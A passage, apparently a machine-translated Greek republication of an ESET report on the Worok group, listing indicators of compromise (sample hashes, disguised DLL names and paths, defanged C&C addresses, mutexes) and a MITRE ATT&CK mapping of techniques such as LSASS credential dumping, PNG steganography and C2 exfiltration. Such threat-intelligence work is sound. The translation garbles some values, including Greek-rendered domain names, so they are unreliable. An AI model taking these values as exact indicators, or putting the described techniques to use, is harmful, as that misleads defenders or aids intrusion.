678A131A9E932B9436241402D9727AA7D06A87E3 | γραφή | PowerShell/PowHeartBeat.B | PowHeartBeat 2.4.3.0003. |
757ABA12D04FD1167528FDD107A441D11CD8C427 | γραφή | PowerShell/PowHeartBeat.B | PowHeartBeat 2.1.3.0003. |
54700A48D934676FC698675B4CA5F712C0373188 | γραφή | PowerShell/PowHeartBeat.A | PowHeartBeat 1.1.3.0002. |
C2F53C138CB1B87D8FC9253A7088DB30B25389AF | γραφή | PowerShell/PowHeartBeat.A | PowHeartBeat 1.1.3.0002. |
C2F1954DE11F72A46A4E823DE767210A3743B205 | tmp.ps1 | PowerShell/PowHeartBeat.B | PowHeartBeat 2.4.3.0004. |
CE430A27DF87A6952D732B4562A7C23BEF4602D1 | tmp.ps1 | PowerShell/PowHeartBeat.A | PowHeartBeat 2.1.3.0004. |
EDE5AB2B94BA85F28D5EE22656958E4ECD77B6FF | γραφή | PowerShell/PowHeartBeat.A | PowHeartBeat 2.4.3.0003. |
4721EEBA13535D1EE98654EFCE6B43B778F13126 | vix64.dll | MSIL/PNGLoader.A | PNGLoader. |
728A6CB7A150141B4250659CF853F39BFDB7A46C | RarExtMgt.dll | MSIL/PNGLoader.A | PNGLoader. |
864E55749D28036704B6EA66555A86527E02AF4A | Jsprofile.dll | MSIL/PNGLoader.A | PNGLoader. |
8DA6387F30C584B5FD3694A99EC066784209CA4C | vssxml.dll | MSIL/PNGLoader.A | PNGLoader. |
AA60FB4293530FBFF00D200C0D44EEB1A17B1C76 | xsec_1_5.dll | MSIL/PNGLoader.A | PNGLoader. |
B2EAEC695DD8BB518C7E24C4F37A08344D6975BE | msvbvm80.dll | MSIL/PNGLoader.A | PNGLoader. |
CDB6B1CAFEE098615508F107814179DEAED1EBCF | lucenelib.dll | MSIL/PNGLoader.A | PNGLoader. |
4F9A43E6CF37FF20AE96E564C93898FDA6787F7D | vsstrace.dll | Win64/CLRLoad.C | CLRLload. |
F181E87B0CD6AA4575FD51B9F868CA7B27240610 | ncrypt.dll | Win32/CLRLoad.A | CLRLload. |
4CCF0386BDE80C339EFE0CC734CB497E0B08049C | ncrypt.dll | Win32/CLRLoad.A | CLRLload. |
5CFC0D776AF023DCFE8EDED5CADA03C6D7F9C244 | wlbsctrl.dll | Win64/CLRLoad.E | CLRLload. |
05F19EBF6D46576144276090CC113C6AB8CCEC08 | wlbsctrl.dll | Win32/CLRLoad.A | CLRLload. |
A5D548543D3C3037DA67DC0DA47214B2C2B15864 | secur32.dll | Win64/CLRLoad.H | CLRLload. |
CBF42DCAF579AF7E6055237E524C0F30507090F3 | dbghelp.dll | Win64/CLRLoad.C | CLRLload. |
Διαδρομές αρχείων
Μερικά από τα MainPath, LogFilePath και IfLogFilePath τιμές που συναντήσαμε σε δείγματα PNGLoad:
MainPath | LogFilePath | IfLogFilePath |
---|---|---|
C:Program FilesVMwareVMware Tools | C:Program FilesVMwareVMware ToolsVMware VGAuthreadme.txt | C:Program FilesVMwareVMware ToolsVMware VGAuthVMWSU_V1_1.dll |
C: Program FilesWinRar | C:Program FilesWinRarrarinstall.log | C:Program FilesWinRardes.dat |
C:Program FilesUltraViewer | C:Program FilesUltraViewerCopyRights.dat | C:Program FilesUltraVieweruvcr.dll |
Δίκτυο
Domain | IP |
---|---|
Κανένας | 118.193.78[.]22 |
Κανένας | 118.193.78[.]57 |
αεροπλάνο.ταξιδιωτικά-εμπορικά[.]πρακτορείο | 5.183.101[.]9 |
κεντρικός.suhypercloud[.]org | 45.77.36[.]243 |
Mutexes
Στα δείγματα CLRLoad, τα ονόματα mutex που συναντήσαμε είναι:
aB82UduGX0EX
ad8TbUIZl5Ga
Mr2PJVxbIBD4
oERiQtKLgPgK
U37uxsCsA4Xm
Wo0r0KGWhYGO
xBUjQR2vxYTz
zYCLBWekRX3t
3c3401ad-e77d-4142-8db5-8eb5483d7e41
9xvzMsaWqxMy
Μπορείτε να βρείτε μια πλήρη λίστα δεικτών συμβιβασμού (IoC) και δειγμάτων το αποθετήριο μας GitHub.
Τεχνικές MITER ATT & CK
Αυτός ο πίνακας κατασκευάστηκε χρησιμοποιώντας έκδοση 11 του πλαισίου MITER ATT & CK.
Τακτική | ID | Όνομα | Περιγραφή |
---|---|---|---|
Αναγνώριση | T1592.002 | Συλλέξτε πληροφορίες οικοδεσπότη θυμάτων: Λογισμικό | Το PowHeartBeat συγκεντρώνει explorer.exe πληροφοριών. |
T1592.001 | Συλλέξτε πληροφορίες οικοδεσπότη θυμάτων: Υλικό | Το PowHeartBeat συλλέγει πληροφορίες σχετικά με τις μονάδες δίσκου. | |
T1590.005 | Συλλέξτε πληροφορίες δικτύου θυμάτων: Διευθύνσεις IP | Το PowHeartBeat συγκεντρώνει διευθύνσεις IP του υπολογιστή που έχει παραβιαστεί. | |
Ανάπτυξη πόρων | T1583.004 | Αποκτήστε υποδομή: Διακομιστής | Το Worok χρησιμοποιεί τους δικούς του διακομιστές C&C. |
T1588.002 | Αποκτήστε δυνατότητες: Εργαλείο | Το Worok ανέπτυξε πολλά δημόσια διαθέσιμα εργαλεία στα παραβιασμένα μηχανήματα. | |
T1583.001 | Αποκτήστε υποδομή: Τομείς | Το Worok έχει καταχωρίσει τομείς για να διευκολύνει την επικοινωνία και τη σταδιοποίηση C&C. | |
T1588.005 | Αποκτήστε Δυνατότητες: Εκμεταλλεύσεις | Το Worok έχει χρησιμοποιήσει την ευπάθεια ProxyShell. | |
T1587.001 | Ανάπτυξη δυνατοτήτων: Κακόβουλο λογισμικό | Το Worok έχει αναπτύξει το δικό του κακόβουλο λογισμικό: CLRLoad, PNGLoad, PowHeartBeat. | |
T1587.003 | Ανάπτυξη Δυνατοτήτων: Ψηφιακά Πιστοποιητικά | Το Worok δημιούργησε πιστοποιητικά Let's Encrypt SSL για να ενεργοποιήσει τον αμοιβαίο έλεγχο ταυτότητας TLS για κακόβουλο λογισμικό. | |
Εκτέλεση | T1059.001 | Διερμηνέας εντολών και σεναρίων: PowerShell | Το PowHeartBeat είναι γραμμένο σε PowerShell. |
Επιμονή | T1505.003 | Στοιχείο λογισμικού διακομιστή: Web Shell | Το Worok χρησιμοποιεί το webshell ReGeorg. |
Αμυντική υπεκφυγή | T1140 | Αποσυμφόρηση/Αποκωδικοποίηση αρχείων ή πληροφοριών | Το Worok χρησιμοποιεί διάφορα προσαρμοσμένα σχήματα που βασίζονται σε XOR για την κρυπτογράφηση συμβολοσειρών και αρχείων καταγραφής σε PowHeartBeat, PNGLoad και CLRLoad. |
T1036.005 | Μεταμφίεση: Αντιστοίχιση νόμιμου ονόματος ή τοποθεσίας | Τα δείγματα PNGLoad αναπτύσσονται σε καταλόγους VMWare με νόμιμη εμφάνιση. | |
Πρόσβαση διαπιστευτηρίων | T1003.001 | Απόρριψη διαπιστευτηρίων λειτουργικού συστήματος: Μνήμη LSASS | Το Worok χρησιμοποιεί το Mimikatz για την απόρριψη διαπιστευτηρίων από τη μνήμη LSASS. |
Ανακάλυψη | T1082 | Ανακάλυψη πληροφοριών συστήματος | Το PowHeartBeat συλλέγει πληροφορίες λειτουργικού συστήματος. |
T1083 | Ανακάλυψη αρχείων και καταλόγου | Το PowHeartBeat μπορεί να παραθέσει αρχεία και καταλόγους. | |
T1046 | Ανακάλυψη υπηρεσίας δικτύου | Worok χρήσεις NbtScan για να λάβετε πληροφορίες δικτύου για μηχανήματα που έχουν υποστεί βλάβη. | |
T1124 | Ανακάλυψη χρόνου συστήματος | Το PowHeartBeat συγκεντρώνει πληροφορίες για την ώρα του θύματος. | |
Συλλογή | T1005 | Δεδομένα από το Τοπικό Σύστημα | Το PowHeartBeat συλλέγει δεδομένα από το τοπικό σύστημα. |
T1560.002 | Αρχειοθέτηση Συλλεγμένων Δεδομένων: Αρχειοθέτηση μέσω Βιβλιοθήκης | Το PowHeartBeat gzip-συμπιέζει δεδομένα πριν τα στείλει στον διακομιστή C&C. | |
Διοίκησης και Ελέγχου | T1071.001 | Πρωτόκολλο επιπέδου εφαρμογής: Πρωτόκολλα Ιστού | Ορισμένες παραλλαγές του PowHeartBeat χρησιμοποιούν το HTTP ως πρωτόκολλο επικοινωνίας με τον διακομιστή C&C. |
T1090.001 | Proxy: Εσωτερικός διακομιστής μεσολάβησης | Το PowHeartBeat χειρίζεται τη διαμόρφωση διακομιστή μεσολάβησης στον υπολογιστή του θύματος. | |
T1001.002 | Συσκότιση Δεδομένων: Στεγανογραφία | Το PNGLoad εξάγει τιμές pixel από . Png αρχεία για την ανακατασκευή ωφέλιμων φορτίων. | |
T1573.002 | Κρυπτογραφημένο κανάλι: Ασύμμετρη Κρυπτογραφία | Το PowHeartBeat χειρίζεται τις επικοινωνίες HTTPS με τον διακομιστή C&C. | |
T1095 | Πρωτόκολλο μη επιπέδων εφαρμογής | Ορισμένες παραλλαγές του PowHeartBeat χρησιμοποιούν το ICMP ως πρωτόκολλο επικοινωνίας με τον διακομιστή C&C. | |
T1132.001 | Κωδικοποίηση δεδομένων: Τυπική κωδικοποίηση | Το Worok χρησιμοποιεί κωδικοποίηση XOR σε PowHeartBeat και PNGLoad. | |
T1132.002 | Κωδικοποίηση δεδομένων: Μη τυπική κωδικοποίηση | Το Worok χρησιμοποιεί αλγόριθμους κωδικοποίησης XOR που κάνουν χρήση ενός επιπλέον αλατιού. | |
εκδιήθησης | T1041 | Διήθηση πάνω από το κανάλι C2 | Το PowHeartBeat χρησιμοποιεί το κανάλι επικοινωνίας του C&C για να εξάγει πληροφορίες. |
- blockchain
- Coingenius
- πορτοφόλια κρυπτογράφησης
- κρυπτο -ανταλλαγή
- κυβερνασφάλεια
- εγκληματίες του κυβερνοχώρου
- Κυβερνασφάλεια
- Υπουργείο Εσωτερικής Ασφάλειας
- ψηφιακά πορτοφόλια
- Έρευνα ESET
- firewall
- Kaspersky
- malware
- Mcafee
- Nexbloc
- Πλάτων
- πλάτων αι
- Πληροφορία δεδομένων Plato
- Παιχνίδι Πλάτωνας
- Πλάτωνα δεδομένα
- platogaming
- VPN
- Ζούμε Ασφάλεια
- ιστοσελίδα της ασφάλειας
- zephyrnet